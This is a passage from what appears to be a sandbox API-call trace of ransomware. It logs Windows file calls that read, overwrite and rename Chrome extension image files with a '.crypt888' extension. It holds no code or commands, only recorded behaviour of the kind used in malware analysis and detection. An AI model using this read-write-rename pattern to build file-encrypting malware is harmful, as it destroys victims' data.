HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.crypt888")) returned 1 [0073.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", lpFilePart=0x0) returned 0x94 [0073.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0073.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0073.965] GetFileType (hFile=0x174) returned 0x1 [0073.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0073.965] GetFileType (hFile=0x174) returned 0x1 [0073.965] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x22c [0073.965] ReadFile (in: hFile=0x174, lpBuffer=0x2705264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x2705264*, lpNumberOfBytesRead=0x39eb84*=0x22c, lpOverlapped=0x0) returned 1 [0073.966] CloseHandle (hObject=0x174) returned 1 [0073.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", lpFilePart=0x0) returned 0x94 [0073.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0073.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0073.985] GetFileType (hFile=0x174) returned 0x1 [0073.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0073.985] GetFileType (hFile=0x174) returned 0x1 [0073.985] WriteFile (in: hFile=0x174, lpBuffer=0x2753e3c*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x2753e3c*, lpNumberOfBytesWritten=0x39eb48*=0x230, lpOverlapped=0x0) returned 1 [0073.986] CloseHandle (hObject=0x174) returned 1 [0073.989] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png", lpFilePart=0x0) returned 0x94 [0073.989] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.crypt888", lpFilePart=0x0) returned 0x9d [0073.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0073.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828c7cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd4ba300, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0073.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0073.989] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.crypt888")) returned 1 [0073.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", lpFilePart=0x0) returned 0xa3 [0073.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0073.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0073.991] GetFileType (hFile=0x174) returned 0x1 [0073.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0073.991] GetFileType (hFile=0x174) returned 0x1 [0073.991] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0xa0 [0073.991] ReadFile (in: hFile=0x174, lpBuffer=0x27554c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x27554c8*, lpNumberOfBytesRead=0x39eb84*=0xa0, lpOverlapped=0x0) returned 1 [0073.992] CloseHandle (hObject=0x174) returned 1 [0074.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", lpFilePart=0x0) returned 0xa3 [0074.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0074.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.006] GetFileType (hFile=0x174) returned 0x1 [0074.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0074.006] GetFileType (hFile=0x174) returned 0x1 [0074.006] WriteFile (in: hFile=0x174, lpBuffer=0x27a3720*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x27a3720*, lpNumberOfBytesWritten=0x39eb48*=0xb0, lpOverlapped=0x0) returned 1 [0074.007] CloseHandle (hObject=0x174) returned 1 [0074.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png", lpFilePart=0x0) returned 0xa3 [0074.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.crypt888", lpFilePart=0x0) returned 0xac [0074.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0074.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ccad0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ccad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd5065c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0074.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0074.009] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.crypt888")) returned 1 [0074.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", lpFilePart=0x0) returned 0xa9 [0074.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0074.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.009] GetFileType (hFile=0x174) returned 0x1 [0074.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0074.010] GetFileType (hFile=0x174) returned 0x1 [0074.010] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0xfc [0074.010] ReadFile (in: hFile=0x174, lpBuffer=0x27a4e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x27a4e7c*, lpNumberOfBytesRead=0x39eb84*=0xfc, lpOverlapped=0x0) returned 1 [0074.011] CloseHandle (hObject=0x174) returned 1 [0074.025] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", lpFilePart=0x0) returned 0xa9 [0074.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0074.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.026] GetFileType (hFile=0x174) returned 0x1 [0074.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0074.026] GetFileType (hFile=0x174) returned 0x1 [0074.027] WriteFile (in: hFile=0x174, lpBuffer=0x27f3180*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x27f3180*, lpNumberOfBytesWritten=0x39eb48*=0x100, lpOverlapped=0x0) returned 1 [0074.028] CloseHandle (hObject=0x174) returned 1 [0074.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png", lpFilePart=0x0) returned 0xa9 [0074.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.crypt888", lpFilePart=0x0) returned 0xb2 [0074.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0074.030] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828cf1e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d18f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd52c720, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0074.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0074.030] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.crypt888")) returned 1 [0074.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", lpFilePart=0x0) returned 0xa9 [0074.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0074.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.031] GetFileType (hFile=0x174) returned 0x1 [0074.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0074.031] GetFileType (hFile=0x174) returned 0x1 [0074.032] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0xa0 [0074.032] ReadFile (in: hFile=0x174, lpBuffer=0x27f48a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x27f48a4*, lpNumberOfBytesRead=0x39eb84*=0xa0, lpOverlapped=0x0) returned 1 [0074.033] CloseHandle (hObject=0x174) returned 1 [0074.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", lpFilePart=0x0) returned 0xa9 [0074.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0074.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.053] GetFileType (hFile=0x174) returned 0x1 [0074.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0074.053] GetFileType (hFile=0x174) returned 0x1 [0074.053] WriteFile (in: hFile=0x174, lpBuffer=0x2842b14*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x2842b14*, lpNumberOfBytesWritten=0x39eb48*=0xb0, lpOverlapped=0x0) returned 1 [0074.054] CloseHandle (hObject=0x174) returned 1 [0074.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png", lpFilePart=0x0) returned 0xa9 [0074.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.crypt888", lpFilePart=0x0) returned 0xb2 [0074.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0074.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828d6710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d6710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd5789e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0074.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0074.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 